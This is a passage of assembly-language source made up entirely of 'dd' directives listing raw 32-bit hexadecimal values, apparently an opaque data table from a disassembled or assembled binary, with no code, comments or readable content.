dd 84ECAFh, 0B8B9CADEh, 6BA50B32h, 8998380Ch, 0AA790E9h
dd 0F9140A4Fh, 0A01727E4h, 19807991h, 0EE117C25h, 0E865C38h
dd 6A9AFCE5h, 0DE968C83h, 0AB9488h, 0E1CFF704h, 8BEB3D7Ah
dd 0FD0658B4h, 18C19A80h, 3173FAB8h, 0A0409DFh, 868BC721h
dd 2894F5h, 8C11BCh, 1522CE06h, 3378D71Bh, 0F408625Eh
dd 0C481CF3Fh, 187E7C4Eh, 4B55886Ch, 7AB2C400h, 7E519182h
dd 8869526Fh, 39926C00h, 0C92D2E7Ch, 9CE65B00h, 4B7EA583h
dd 0A68C004Ah, 6D12EC23h, 349272DCh, 49B8620Ch, 0B0F6115h
dd 86C9367Ch, 0A454C040h, 0A7254D3Fh, 0D6AC264Ah, 2D852D09h
dd 8195B8A0h, 8A7048A8h, 68028C7Dh, 0A9988470h, 7DF48074h
dd 0C0451181h, 5BE59320h
dd 0F81F84D3h, 0C7413137h, 14A13F1h, 59857884h, 6EE0808Fh
dd 0AE516008h, 0CCB841E4h, 66C40016h, 45EC3DE9h, 909EC8D5h
dd 202A9AF7h, 4670C47Bh, 78C864A1h, 0E71CD8B6h, 0A3B2223Dh
dd 0BBC43909h, 0E1223F12h, 502DA505h, 198F8841h, 0D0921136h
dd 6AFC070Ch, 98C8C492h, 0D6084FB4h, 0C4590632h, 0B747407Fh
dd 79180DBh, 0AE303A5h, 744CCB12h, 0EFBFE91Ch, 0F76CE2C0h
dd 14A8D3Ch, 0DCC46561h, 549D3032h, 0DAEC04C0h, 44930A63h
dd 764656h, 198C264Bh, 70E79269h, 0B1BF1285h, 8D88214Dh
dd 8BE0C6Ch, 42DC3607h, 44310C4h, 4DF00764h, 9D07164Eh
dd 0E52AF113h, 3BB8C429h, 0EE83CC47h, 0FEBC8318h, 0E5AF101h
dd 95441EF7h, 526ED8h, 66629289h, 75D87086h, 1078094Ch
dd 7124E351h, 0B1E907F0h, 1EF6707Dh, 0FA09EC63h, 0A1CE117Fh
dd 965E7510h, 623C1469h, 6D025300h, 0CEDC4DE2h, 47FA19C0h
dd 1C59E563h, 0C291E8D5h, 0E67C246Fh, 5746FCD8h, 3C07A802h
dd 1131B2DCh, 7CBA210h, 673C2F00h, 2182393Dh, 6D7907EDh
dd 405CC27Eh, 0E2F91996h, 4C888948h, 402C3F6Ch, 2231787Ah
dd 92798FF4h, 89DAC0C8h, 7898CDE3h, 1CEC3EFEh, 0E6DF6003h
dd 1052AC03h, 86929BF0h, 997466h, 0AC2BB6B9h, 91C8D72Ch
dd 0DB9FFC00h, 543C290Ch, 0A761094Bh, 453836Ah, 0E250D558h
dd 4D1E00AAh, 0CE79E9EAh, 0CB280FDCh, 0A509C489h, 342B019h
dd 302BCE0h, 60AAF4C1h, 74D017C6h, 35019618h, 0DE992DBFh
dd 220FA33h, 835C0CD8h, 0E548CFB1h, 5179B767h, 0B0C18F90h
dd 0D16F1D84h, 0AE9D71h, 0E33DAB5Eh, 0F9CFC9FDh, 0E179A025h
dd 91861ADCh, 1875D1D4h, 65B00211h, 0BCC43C51h, 0FB03A864h
dd 5D61607Bh, 2590C0A1h, 74C90CEh, 0B8AC8183h, 8B93057Fh
dd 0C076C8C0h, 4D74CF99h, 45830D25h, 6075C450h, 0FC826F5h
dd 0CAA22DDCh, 0F0908269h, 561262DAh, 0C8B22C6Eh, 603277F2h
dd 95E58C43h, 0E7CFBCA0h, 36001FBBh, 92DB4FFh, 2D4F8F1Bh
dd 0F4970D45h, 2C806C91h, 0CD88E1E5h, 44E38F13h, 0EA10F83Ah
dd 0BBBFC051h, 1CBD7E5h, 0D2B8485Eh, 326F4D90h, 58CD2C98h
dd 190374Bh, 0B99825C4h, 64518497h, 0C0C003AEh, 249B5C3Dh
dd 258B821h, 7BED954Fh, 30E40E61h, 870504ACh, 400B7173h
dd 838034DBh, 0F8D7E44Bh, 82183300h, 84F4D832h, 80E95471h
dd 7AFD1A75h, 40B7B115h, 45AF6780h, 632668FCh, 0B535D862h
dd 2FE73AA8h, 0EAC33E01h, 8CE5175Eh, 0DFC13980h, 44E91F31h
dd 3D348F00h, 7AAAA8B5h, 6B7E0127h, 4C4014B4h, 525AD0B8h
dd 0CA4D530Ah, 0A20120E2h, 3D193A4Ah, 165580D0h, 8772436h
dd 0E1C1B8D8h, 99EDB022h, 0C1889518h, 0A9220039h, 0DCAF743Eh
dd 98140599h, 2CD4E5EDh, 0FD031879h, 968E1116h, 0F15E18D9h
dd 0E56241FFh, 0FC092402h, 0C157CED0h, 0B5C82520h, 0F8942561h
dd 4124E027h, 40ACD4D8h, 9D3872F3h, 5A76F607h, 52C025C1h
dd 9758F5DEh, 1283F4B5h, 0E395756Ch, 7187D857h, 94289980h
dd 0D00A8E5h, 70B76EDEh, 1624D90Bh, 5B120056h, 3AB0B8E6h
dd 0C12CF9ACh, 0A20FDD47h, 0D401D389h, 796B0FE0h, 0B817E2A5h
dd 26817691h, 720D37E3h, 44863A6Ch, 6E80005Ch, 9304BBA4h
dd 5400CE1Ah, 0EFF1B558h, 0FEFA8DCCh, 8B5A4B80h, 0CE6E8844h
dd 411ECD0Eh, 0EBD68C5Dh, 84902358h, 602620Bh, 0A4E95FE0h
dd 38002F82h, 0B5DE2A22h, 937F27F7h, 24BCAC48h, 0D0C369C0h
dd 6F6A64h, 95395363h, 111F3654h, 19A63A02h, 40DC4F85h
dd 28A56D60h, 98A88F5Dh, 8BC9168h, 0C9606C92h, 5CDC3D07h
dd 5E0285Ah, 61000737h, 866F233Fh, 1350EEF4h, 0A4985EDBh
dd 0FA1905FCh, 0F5686771h, 75444FAh, 786CEA02h, 0EFDAD02Ah
dd 510CB292h, 0E0DB60A4h, 60AF4568h, 0D091378Ch, 5DB008B1h
dd 0C884D421h, 1176C0Dh, 7AEF97E0h, 0D02318D9h, 90338BA2h
dd 2721DE3Bh, 64107B02h, 0E8418BF8h, 48E07C31h, 0F476F324h
dd 8C737050h, 2AC45F04h, 1CAC5E7Ch, 0C457B1B0h, 9F8F743Ah
dd 7E380BE2h, 0D207F818h, 4E65FD58h, 0A79CCC76h, 0C020CF4Ah
dd 0D7AC71h, 510B9E5Bh, 0BA1F06B0h, 4304EB01h, 0E8D99ADEh
dd 6F16D980h, 0D7ADFA25h, 40682400h, 57E953FEh, 0FD20C573h
dd 2CECC284h, 4451C46Ah, 0E6187479h, 0D0041E4h, 259869D7h
dd 448E197Eh, 2B4AF85Eh, 69A78C00h, 7EFCCCC2h, 5E689C75h
dd 602E0B46h, 95090066h, 4F06AEC3h, 842E404Ah, 0E5000B23h
dd 10F50C96h, 726303BAh, 863AF10Ah, 0B7D2D903h, 0C4FCD546h
dd 0C4C040F8h, 0D94CF169h, 5B2BB802h, 402534BCh, 14FAE750h
dd 0D4CDEAB6h, 0D50531C0h, 0B0756481h, 0A607100h, 9B0245F2h
dd 754D0FE2h, 0D2C62A3Fh, 0F96470AAh, 0FCC8EF39h, 476705B4h
dd 0CE2E0233h, 52118438h, 46DEF530h, 0C2FB7802h, 4463A83Ch
dd 376C04F8h, 40C76D62h, 5DD5E728h, 50200954h, 0BC224DDFh
dd 5C4846E2h, 0E6046CFDh, 3D5ED5FAh, 95D944B5h, 0FEB102F7h
dd 579E482Eh, 3691745Eh, 4FC43880h, 8C91567Ch, 0C45058C1h
dd 0CE84E0C2h, 88C0F5E8h, 3511EE35h, 0F010FF1Eh, 0DD0486ECh
dd 0CB6301F5h, 68CD14CDh, 0B82CE869h, 0F0025BECh, 0B11EE516h
dd 56E4CA72h, 76465CB8h, 46EDDE1Fh, 0E8799BF8h, 0C267DF04h
dd 4F41644h, 0AB048C4Ch, 0CADCE307h, 6209A338h, 807FC807h
dd 0D42A74BEh, 5C663709h, 3C471321h, 0AB827080h, 0F3F4BA16h
dd 0C6FD1C08h, 1097F9BCh, 2FF9BA8h, 25C91BAAh, 1CCA98A7h
dd 19809839h, 2A0820A0h, 74F04DE3h, 0DE692E25h, 0FB4AC4Ch
dd 0D0121949h, 0FBEFDC84h, 9062B740h, 806B7CF8h, 87507CFDh
dd 2491E030h, 0E56AA700h, 0B9FC7D5Eh, 0D4503070h, 0BC48755Bh
dd 3DC48084h, 7C9DDBFFh, 3AB03C1Fh, 7C352Eh, 0F44CE34Fh
dd 8E0195B2h, 9A0A69D1h, 2C338B62h, 0C51EAB1h, 6797000Ah
dd 95DE9E4Eh, 474BB80Eh, 0F98FA841h, 4822E7DDh, 6DDA5909h
dd 0C4556C30h, 8E7C4C08h, 43886470h, 0F0C38D87h, 9FDCF5D5h
dd 0B1B9C810h, 42BDE301h, 39E990C7h, 48201AECh, 14052474h
dd 41EAB0Dh, 0FD65EFACh, 94D700A0h, 54E24766h, 0E414019Ah
dd 0DCB7FD8Fh, 9659BB8Eh, 2020DB49h, 2DD3AD24h, 28801D2Eh
dd 5400FE2h, 5A887660h, 0B42415Bh, 52219832h, 3FDB7423h
dd 344EF1AAh, 74E86514h, 7DB584FCh, 8C4000A2h, 649416h
dd 0DB685204h, 69C00E97h, 1B59C566h, 58CF0094h, 856B4B43h
dd 8124F09Dh, 7300EE4Fh, 46452671h, 95E300FAh, 934B2C4h
dd 790E84DBh, 81BB2329h, 785D9FD0h, 0F27FB60h, 5CE0D4E4h
dd 0B53E3100h, 14027D76h, 0F7D8CC9Ch, 0C3E58E59h, 0B8924CB2h
dd 0D6EA38h, 3C7E34DCh, 5FF785BEh, 0A9840C00h, 256F4BFh
dd 87040138h, 0D806D31Bh, 3C0C3C71h, 6E840BB0h, 112C9DADh
dd 5D6F8079h, 0EECA58h, 0EB05C316h, 77E0CDF4h, 0F894914Ch
dd 33078C73h, 0D1378FF4h, 7C7520A0h, 8879F753h, 0FE007B3Eh
dd 33903CB3h, 581E2830h, 0AF40090Bh, 480C6641h, 0EFC640E8h
dd 5BB19060h, 7D82DFC4h, 0B4A909E0h, 7481F633h, 43B580D0h
dd 7CB86F92h, 40B4650Dh, 2479465Eh, 7D00E0B7h, 4F71D3C0h
dd 6A80281Ah, 0A72403B4h, 12229FE3h, 0AEC65CC0h, 48845D04h
dd 28D1C9F4h, 0DD107E62h, 0E30CE81Ah, 40737C09h, 0A45852F7h
dd 45306EF2h, 40DA00BCh, 3361512Ah, 0B11273DDh, 0F802FDA6h
dd 375A80E7h, 0CC749600h
dd 8814E1B4h, 5D5FF947h, 907E1803h, 0C78180CDh, 83B82607h
dd 0D21745Ch, 11878052h, 5E49563Bh, 11D27C2Dh, 7810C7B0h
dd 0BD010907h, 69590EE1h, 0AECD41Ch, 9C1951E8h, 3600B823h
dd 8E88A053h, 0DB144092h, 16C018ABh, 0E87B9504h, 69799603h
dd 0F812108Ah, 34CB40F7h, 0ABC07988h, 2C7D5342h, 0F901D18h
dd 69E425E5h, 0C008F985h, 0FB1541FAh, 67D304E3h, 9490E01Dh
dd 9D90330h, 0A14C35E9h, 144F1773h, 683A28C5h, 13007623h
dd 6680736Ch, 0A719C05Fh, 740A1ECFh, 9E109100h, 137AEB3Ch
dd 928F0B81h, 2C10BDE4h, 400B41F1h, 0C61158F9h, 0AAA90000h
dd 0E37C327Ah, 0E95DFACDh, 97DC81B8h, 0C608759h, 88385C7Ah
dd 23F43A5Bh, 69560121h, 815A2C7Ah, 5D7328CEh, 0E02D9B5Eh
dd 1A683662h, 0F044A08Bh, 0D361B100h, 0D8870EA4h, 923712D5h
dd 607C887Ah, 5F980300h, 2F294D64h, 6CE80435h, 0B00BD33Ah
dd 3901ACE0h, 652A924h, 0AC3136C9h, 3B0CEFD9h, 0A3AE223Dh
dd 9011E9h, 7C226F87h, 60BC625Bh, 0F6FA998Bh, 2900402Eh
dd 0DEC00F34h, 1ADA058h, 4A1D121Bh, 20ABAE20h, 0F0964777h
dd 48753042h, 0BB67EBC4h, 7154A924h, 0EE29180Dh, 0C0D62EB5h
dd 6C02BA54h, 6DEDD3D4h, 0EEE990C8h, 2CB00454h, 330309E8h
dd 0E3E4C1B0h, 6DE82963h, 1895D188h, 594A012Dh, 0B7A8C951h
dd 5B607D49h, 0F423EC80h, 338B00DDh, 87E1734Eh, 93485598h
dd 10020124h, 807AF248h, 0C50B1C32h, 8E47FD5h, 343B7BF1h
dd 0CB027923h, 5ADCD865h, 0F8AD00A4h, 4C6DBCB7h, 172F4B5Fh
dd 37C010DEh, 670A0057h, 3C294415h, 81044A45h, 493F48DDh
dd 0D604E4F8h, 0A868FE25h, 0C0470BEh, 8101B598h, 0D41FF0ADh
dd 0D8E4A97Fh, 8651EAh, 0C8DB3F49h, 398B9560h, 0C1E4B84Ch
dd 0FBDE0C0Fh, 0FCDD80DBh, 530D5C82h, 56A41819h, 62DAC0E1h
dd 0FFD43409h, 1C2CB740h, 7A944015h, 51998D2h, 5DA3D8C1h
dd 298F6066h, 8FA76B5Fh, 977CD0EAh, 3E7B73BEh, 2B0D558h
dd 37E90AB7h, 426C71FEh, 730BFDBEh, 8D5378A8h, 23641F98h
dd 38F4EF19h, 4F3800C0h, 90886C1h, 0FF0128D0h, 0D164AADDh
dd 0D6D00EE9h, 4BD8AAC8h, 4048985Ch, 29F0B19Eh, 0D99886CCh
dd 423F189Bh, 44CA4AE3h, 3234007Eh, 29756CEBh, 360451A3h
dd 7E55C8BAh, 4E32CD1h, 8070226Fh, 952F80FBh, 80229128h
dd 69F923D3h, 0B1BA095Ah, 507168F8h, 2FB76E01h, 1028B485h
dd 0AC2235C3h, 0A07979DAh, 226DBD60h, 0AB630082h, 2526A1BBh
dd 0D70BEFBCh, 45596E84h, 606EC42Ch, 265BDF9h, 22379178h
dd 70565416h, 88B06D43h, 53EBD26h, 0F66797E0h, 0E820BC77h
dd 4C0B8C90h, 95EC617h, 8EC59F1h, 0EF8C4745h, 7CA819CCh
dd 372F0001h, 7089535Eh, 4A7DCF2Eh, 905A6312h, 42C788B0h
dd 0C6661397h, 2E486491h, 258FAE4h, 0C383165Ch, 40792B82h
dd 85107E1Ch, 72619F51h, 0C582FC44h, 995C6C30h, 19287190h
dd 2DA6D0h, 8ECFEFE8h, 0FA898594h, 0C5D80B95h, 6179C460h
dd 0E060319Ch, 0B6287DEDh, 18E77454h, 2248983Fh, 0EB097444h
dd 0AAE80660h, 0FD76EC60h, 9903AD18h, 7C5E8779h, 0E57119E4h
dd 0F40FC186h, 0E949CAEBh, 935810A4h, 0CFCE512h, 75D025F0h
dd 0A6DCEA01h, 1E0B7FDh, 0E4EF6192h, 6D985468h, 3E77A3Dh
dd 1DE8D6FFh, 4ECAD3BCh, 0B1748720h, 2AC2197Ch, 98DE4C0Ah
dd 4B79508h, 88BDBC4Fh, 7D39B330h, 8E0B0012h, 50683186h
dd 0F1133921h, 0F462B612h, 8B07FECh, 6123C420h, 480C4087h
dd 4043A04h, 0B880FCD8h, 0C0C37008h, 98886268h, 0A29559C0h
dd 0C1F1C19Ch, 9C207584h, 76FF0016h, 0F8879218h, 28C090FBh
dd 24B90CF1h, 0F1D160DCh, 0CD11E4F9h, 0D51D5300h, 7867EABCh
dd 491010Dh, 0D2811C23h, 9CA8A860h, 90B28F44h, 35E92064h
dd 0B1802405h, 88FC54F1h, 68C76ECh, 0D9825D33h, 9D019996h
dd 64AD318Dh, 21C48ACDh, 3BE6F0E1h, 0F7070FF1h, 62E0D655h
dd 888922AFh, 0E5706CDBh, 9260F56h, 3125CA6Ah, 6CA3C6h
dd 0F29625FFh, 753A13D2h, 98C613D4h, 67280884h, 9009E38Bh
dd 0E407DC48h, 690C07Dh, 87FD30CEh, 0E116609Ch, 0C5DE8E0h
dd 0A270482Ch, 4F7F7818h, 0A59F242Dh, 0B0E94450h, 51008DACh
dd 32A5754Eh, 39281AC9h, 7B25B2E0h, 2F9CACC0h, 9E79D8B9h
dd 35007518h, 0B04BF8DFh, 18F14AA0h, 0F16131E5h, 6C99D25Eh
dd 2090C284h, 8D8F2D04h, 0E42B3AF4h, 0B3007323h, 0B78AEE8Bh
dd 4F3409F3h, 54549113h, 84F6AF40h, 44F093h, 2CBB7A6Bh
dd 46DC7E77h, 68C4B626h, 12A02340h, 48140309h, 0CAC9DF15h
dd 117B2DD8h, 8A84E700h, 105E0A0Dh, 0D4F45448h, 6F5CA747h
dd 84978ED1h, 38C1033Ch, 69008A44h, 3F2DEC32h, 8FC1D76h
dd 67605278h, 6FE3A7BFh, 248ED90Ah, 0FCEBDC84h, 8C7FB8A8h
dd 37BB2712h, 40A4FB17h, 0B71400F0h, 0EF2363BDh, 0BE00D5F1h
dd 1EA926Ch, 22E0B4ADh, 0CB0086BCh, 3097E1DDh, 1A99463h
dd 9872E53Ah, 0C078338Fh, 825ECB6Ah, 0C1B8D882h, 3910FC1Ch
dd 2025C0FEh, 4728C010h, 681C21Dh, 6466B748h, 7CDC9E4Dh
dd 8C92E276h, 8537B339h, 2E197422h, 1A206F86h, 38766D30h
dd 11F6E466h, 0DFC93300h, 57A15A3Ah, 0F15D00E9h, 3B355B38h
dd 184F31FDh, 225ACC0h, 89876F63h, 9CFFF802h, 98F6D710h
dd 0E0CE0BA8h, 0F4918ADFh, 86000B4Fh, 2AEB03F4h, 45017262h
dd 57DD2EBFh, 3708B520h, 265CC744h, 8E14299Bh, 50698846h
dd 7F913C1Fh, 0D8ACA180h, 110FFACDh, 0CC90326Fh, 0EA76B09Dh
dd 0DCC5442Ah, 8C430F12h, 7E0A4C42h, 0E14CC308h, 426B917Fh
dd 5CC4E520h, 0D1EFECE5h, 0B6B37587h, 7F276863h, 733C6C86h
dd 0AA3E00D8h, 9EF701A7h, 8D015BD3h, 0D505FE46h, 0B2B367Fh
dd 0A8027834h, 0E3021E19h, 1D5C7A32h, 9D817E25h, 1C48B8EAh
dd 0A7E9C030h, 0FB039E62h, 0DFB808C8h, 0B2990119h, 7E27DE3Ah
dd 1B44D03Bh, 9D09860Bh, 68298A3Dh, 5001A02Bh, 410637D6h
dd 4AB0483Ch, 0CB00DBB8h, 407782E3h, 0B1363Ch, 0C7254D80h
dd 0F4277BD7h, 43E2C200h, 3416D3D4h, 0BC9D9F69h, 0F4807891h
dd 0B6817CAAh, 32E04E90h, 7D2E4818h, 184FB2F0h, 6003C41Ah
dd 0C04D07FAh, 405D2538h, 0B2B28148h, 856610DCh, 0C6C3E47h
dd 18748A69h, 3B510B0Ch, 589439CEh, 0FA800AE8h, 0ADC12D97h
dd 680C2CCAh, 89426D18h, 9692B810h, 482744B3h, 0E465CC89h
dd 5809B84Ah, 5AFC346Ah, 71EC6B59h, 924DFD25h, 79A07980h
dd 4DA1878h, 2EE3A6FAh, 34BD4A0Ch, 3C4A1900h, 0D7B1C4h
dd 5B27CFD1h, 0CEF5DD64h, 1C7F7700h, 794D582Fh, 20EA4AD4h
dd 0A140F00h, 0DEEC7841h, 5251C917h, 9FE47465h, 0E32F1761h
dd 330262E0h, 81F7980Ch, 30B8F98Dh, 0B26170DCh, 0FA39E55Dh
dd 1880A47Fh, 1B890485h, 0E2EB08Ch, 0A739E119h, 737F420h
dd 1A1FD380h, 5C844A9Eh, 1890BF66h, 0DD7ECAh, 1BEE5E1Fh
dd 9D9A1A03h, 0F9704600h, 1D1082FFh, 2770067h, 0E8656DE3h
dd 0CE00A772h, 70B938AAh, 77936D0h, 0D16EC05Fh, 1818CF26h
dd 0C8055110h, 864B7868h, 6B0206Dh, 67A51D41h, 52B8E274h
dd 3DEADD60h, 3AC2E42Ah, 0FCC61Ch, 0E76C37C1h, 0DF17232h
dd 0A4B47B02h, 94E271FEh, 804A6120h, 46F035Bh, 0E251420h
dd 14883735h, 0FF10C006h, 0E6009C28h, 24B127BEh, 5C7FC2h
dd 0E11EA936h, 0DCE25022h
dd 81834ABh, 0D4C063A2h, 0C880AD86h, 0E8F47CA0h, 0C500CE79h
dd 0D3E19615h, 4B361DB6h, 0C4DCE20Fh, 0ED00617Eh, 868DF2E1h
dd 0C603BC00h, 0C6F6E81h, 0F0774CA2h, 53A98303h, 0ED9BE602h
dd 0C5DF2911h, 11A79F11h, 0D028C217h, 14FB5028h, 0BBA54468h
dd 14C11084h, 0AEB71191h, 21A3E511h, 0B639040Fh, 0AD130492h
dd 44F10644h, 2844C353h, 51AF4CB8h, 754C5C79h, 2D118F07h
dd 63B47137h, 0BCD40F5h, 43726F09h, 8FD6713Ah, 0A0E711C8h
dd 2A94E9Ah, 2280002Ch, 4F726442h, 0C30092EBh, 5C0A6B33h
dd 0B7E4CAh, 6026227Dh, 27178EBAh, 821AEB3Ch, 83849B6Bh
dd 0AFDDC065h, 0A9100F0h, 50B669D8h, 0C100611Dh, 0DC4AAB72h
dd 2329FDh, 670C1A32h, 5B5EB1DFh, 0D1F0AC00h, 5436924Ah
dd 0EF72007Bh, 17761EC2h, 4D00875Ah, 0B4836258h, 0F19A8B5h
dd 4C6F5710h, 0C05A1587h, 65B156C7h, 0F8C3C000h, 7631093Ah
dd 117000A6h, 86A51CD2h, 0F7009B3Ch, 0B63B4D1Bh, 34C6C7h
dd 27B7C5E2h, 8819D76Ah, 6A545230h, 3E99CE6h, 7BDBF1C2h
dd 11F26DB6h, 6EB0805Dh, 0F2839B8Bh, 48FB000Ah, 2F77AFADh
dd 0E00A30Dh, 56243DE0h, 9783659h, 7B0B8CC6h, 64C3D281h
dd 0AAE0DC62h, 0C0188B14h, 0A8660090h, 4FEFFE86h, 0BED0090h
dd 4AAF52D0h, 0C700079Ah, 0EE789CCAh, 2060ABh, 2B83B8A8h
dd 0CC7529B6h, 8E0A34Ah, 218600CFh, 78D994D6h, 9501A1C2h
dd 1C41A8BEh, 0CAD48460h, 0BF6A3FACh, 0AE291D07h, 38B7700Bh
dd 8600C6E2h, 90DF164Dh, 604363F6h, 3D547884h, 3C1F12ABh
dd 1ED3CCB7h, 0E23093ECh, 0F0D74930h, 6C92B12Ch, 778BC680h
dd 0AA7B9Ch, 0BEF6B41Ah, 0D979767Ch, 8E42D201h, 0F5387DCEh
dd 5C7BD1F0h, 3600A98Bh, 0EF772120h, 4C007EE0h, 15C74BA4h
dd 79EE9C54h, 0EA017BC1h, 0EACA007Dh, 2C1FD283h, 18C04B79h
dd 0A9E4ADE5h, 0C1FD00B9h, 0BA0C1535h, 0E100063Eh, 0CFB088F9h
dd 13DCDFh, 16C604B4h, 0B13E7768h, 67647300h, 0FD127A4Fh
dd 1E360763h, 2FF6A9D7h, 0FB72A840h, 0DC008BEAh, 67632A93h
dd 1EA356DAh, 41F4B2h, 49F1BC39h, 0D8288AAEh, 0F617B02Ch
dd 0C000B350h, 4A473C02h, 9D250077h, 0F33AEE8Bh, 502EDC13h
dd 220FBA99h, 272B008Ah, 0A684ACh, 0DCD9031Dh, 0DE73F074h
dd 6052E800h, 7A9F49F2h, 7E9C009Eh, 6D91FB4Ah, 0FF1D2138h
dd 4F00F859h, 78EBEB3h, 39D2FE8Ah, 81006180h, 0DF9CDC42h
dd 950F74CEh, 0E21EF52Eh, 0D0BD0D26h, 96F00034h, 7D63FEFDh
dd 41E0BB49h, 4F69D700h, 0D34DABE3h, 753B035Fh, 7AF4DC45h
dd 0BA072ED0h, 47A65E03h, 0E8B6368Ch, 384F33CEh, 4CF6D7FFh
dd 78001450h, 4122311Fh, 0BE0067DDh, 92BBFAFCh, 8015DBh
dd 3D450C19h, 0E3B11BA4h, 2BABEC04h, 209C8BCAh, 24A33C5Fh
dd 5175BA81h, 20146EDAh, 293A4ED0h, 0E171800Dh, 1363923Ch
dd 73F63856h, 0E113D00h, 7D9B3FCDh, 8E50723Eh, 0F95DB3h
dd 651B857Ah, 0A920052h, 0E43F6FB9h, 0F724D819h, 5B0B70BFh
dd 5DA4A04Eh, 3E4A3C76h, 0B705C9D4h, 4FBCF767h, 0EFC0EA64h
dd 8E6F7A6Bh, 0F5CCC707h, 0A3E071FDh, 3A9258Bh, 2DD077ABh
dd 7AA8C030h, 0E400C3E9h, 4253CB9Fh, 0FFC6B4h, 861C4E6Bh
dd 1AEAF497h, 52364A02h, 43B08C40h, 0C0FDCB28h, 39ED5796h
dd 2A0FD431h, 6B20339Ch, 0DDA9D279h, 0A3219400h, 17E3348Ah
dd 4806F0A0h, 1B003480h, 0F787F9DEh, 0EF543C08h, 0FA018FE0h
dd 0A58E9D4Ch, 3BC622h, 0F0AF15Ch, 4A013D2Ch, 2E80CAB1h
dd 7AF0EF4Ch, 5B3A0097h, 619070B8h, 0C70148AAh, 0C1833C1Bh
dd 17F803E0h, 50CB2CD9h, 69A8034h, 59B7560h, 2EE93D0Fh
dd 0DF88E13Ch, 0A0F4C61Ah, 78A40E39h, 0AF6079D6h, 33F16A05h
dd 45B0CB07h, 87F0408Dh, 6059FBC4h, 949AB94Ch, 0F900AA79h
dd 0A124054Ah, 0A8EB43h, 0C3E6FD0h, 226A51BEh, 5C03067Eh
dd 52660227h, 217C0739h, 0F1EC3765h, 0C028AE04h, 0B3013BB8h
dd 0E74E589Bh, 0AAE0733Eh, 0B9DF01CBh, 5E3A7DB1h, 57A4E4EDh
dd 0B3F99A1Dh, 425228C0h, 75F50746h, 0AA830075h, 3FB8505Eh
dd 144C3627h, 0EE0F80BCh, 0CC6E5Ch, 0FD6871CFh, 770723F0h
dd 0A4756F00h, 55D415D9h, 85F22A95h, 0ED3101C0h, 8A797159h
dd 6FF3F072h, 80321338h, 4A73819Dh, 38D02EF8h, 0BB870B9Eh
dd 0D03DFC5Bh, 0D718C321h, 0D8B1103h, 0F052AA73h, 40351746h
dd 0DC78A998h, 0EA89CB00h, 0B057438Dh, 8653120Ah, 0CD6000FAh
dd 0CE659597h, 8029843Eh, 62A6E030h, 48EB767Bh, 0CF0244B2h
dd 0E4C0B043h, 875EFC60h, 28805Ch, 0CC8A2A0h, 2C0EB4ADh
dd 3F4930h, 5B662DF0h, 311EAB1Eh, 84034050h, 0E8C0862Ah
dd 0A2D201h, 99D6D7BBh, 6678F5C7h, 4D7B4F00h, 0DB20FB38h
dd 115800B2h, 0B3C76CB0h, 1909783Fh, 0DEA263h, 3B01FCA9h
dd 1DB500BFh, 46880934h, 409F306Ah, 0DA6DA1h, 7BF9C39Dh
dd 8D118EA9h, 0ED710B00h, 5B73D862h, 5A215816h, 941F0075h
dd 0E9A0B5F8h, 0D50B3401h, 0E1A05CBh, 0CD9D01A8h, 0EF4A4BEh
dd 26910056h, 0C7B7D481h, 7A7E6C94h, 614CFCE7h, 9563800h
dd 70C89001h, 0A323009Eh, 75807B98h, 0E97F6C5Ah, 7EEBEE14h
dd 0B7A000A0h, 0C53D764Ch, 4BD3BE3h, 689EE081h, 0D4ADAC90h
dd 0CA0778ECh, 4AC45F16h, 0BBE532C1h, 1FBC3CE4h, 0D5790Dh
dd 18AD1F74h, 0CF7DA5C8h, 33D70C00h, 0E2C2ABAEh, 0CE8201D3h
dd 0A1470D9Ah, 5AB8CB07h, 2AFEB5D4h, 804DB30Fh, 506E4152h
dd 0E8DF0DA2h, 0B8C49091h, 0A3290037h, 38751594h, 0C00EEC2h
dd 9B91BF3Eh, 652232h, 2EFEDF5Fh, 9D93F65Dh, 4DB28D00h
dd 0B4743592h, 305916FAh, 0FA06FFAEh, 7217362h, 0F7630544h
dd 508120B9h, 0D500B810h, 0D8D2286h, 0E83A82C4h, 58802D8Fh
dd 0EC36000h, 0E700C7D3h, 388DE0D4h, 0E806E1h, 9971C194h
dd 0D132A328h, 0E534A200h, 36A0FBA4h, 92420049h, 29EBCEF5h
dd 89007E9Dh, 0BD5A1EB7h, 39FC463Bh, 709859h, 8206A997h
dd 0CF04F688h, 0BC0AEC00h, 0D73F60CAh, 2B5D031Dh, 0C9CD74BAh
dd 0B842BBC0h, 4FD6BAC0h, 3B3FA1CBh, 0A880477Bh, 22A0D18Fh
dd 0D011368h, 9CD77802h, 80F82DA5h, 60930038h, 4EDEFDB6h
dd 2303C32Ah, 62B18F99h, 0F0A4D878h, 7B07A02h, 0FE2EA779h
dd 0F41A50BDh, 52F0F63Dh, 0A6454D01h, 0D7E6873h, 2CD8C6CDh
dd 0FAF900BCh, 40CA2D38h, 63008548h, 3F47D854h, 39AEE6Bh
dd 65A429B3h, 0EF8F840Ch, 0D1512163h, 388F8F5h, 6D9CAEA5h
dd 0B18CCB40h, 0D43422B4h, 66A30761h, 0D07B4CFFh, 0FAE4CEB5h
dd 0F289F07h, 873294C0h, 730580Bh, 0C6E167B8h, 9A61E272h
dd 3AE53C60h, 1C80183Bh, 0EF40AF70h, 0CD638C85h, 0AEF84Dh
dd 0FCC3E4C9h, 361D3D2Bh, 1A3D3AB8h, 0B50980A1h, 0C82FB1F9h
dd 61B6004Fh, 0F8071C8Fh, 6F782759h, 0E7D2D600h, 129A5A17h
dd 865E0765h, 0D5752995h, 613CB00Ah, 8802214Ah, 6083E5A3h
dd 737B064h, 0DB12F3C3h, 184180C7h, 0E600DD0Dh, 6B63794Ch
dd 1D55CF6Ah, 0C048C98Bh, 4AD0D51Bh, 30C0686Ch, 0EC086201h
dd 67BA0097h, 6DB5D707h, 0E0958C92h, 3B805044h, 5C897E9Bh
dd 0B080F9F8h, 3EDFF17Ch, 0C5171800h, 3964D46Ch, 5E90009Ah
dd 0F49D9427h, 58004D65h, 0C19319BCh, 317B9BD9h, 9C40F818h
dd 48A32091h, 20BBE000h, 342DD483h, 0F423E8AFh, 0DF261ECEh
dd 52EC690h, 43006019h
dd 9304B930h, 0E603F6h, 0E31E8CE0h, 7CAC020h, 10C4CFEEh
dd 0FC806CBCh, 5B1ACABh, 6543C5A2h, 81ACC08Dh, 120F2645h
dd 6F4E1D7Dh, 9713C0DDh, 92E09BCh, 75814DDFh, 38956880h
dd 0FF0059C7h, 0ABC6F182h, 3688E4h, 9B6ABEF5h, 0A4312FC2h
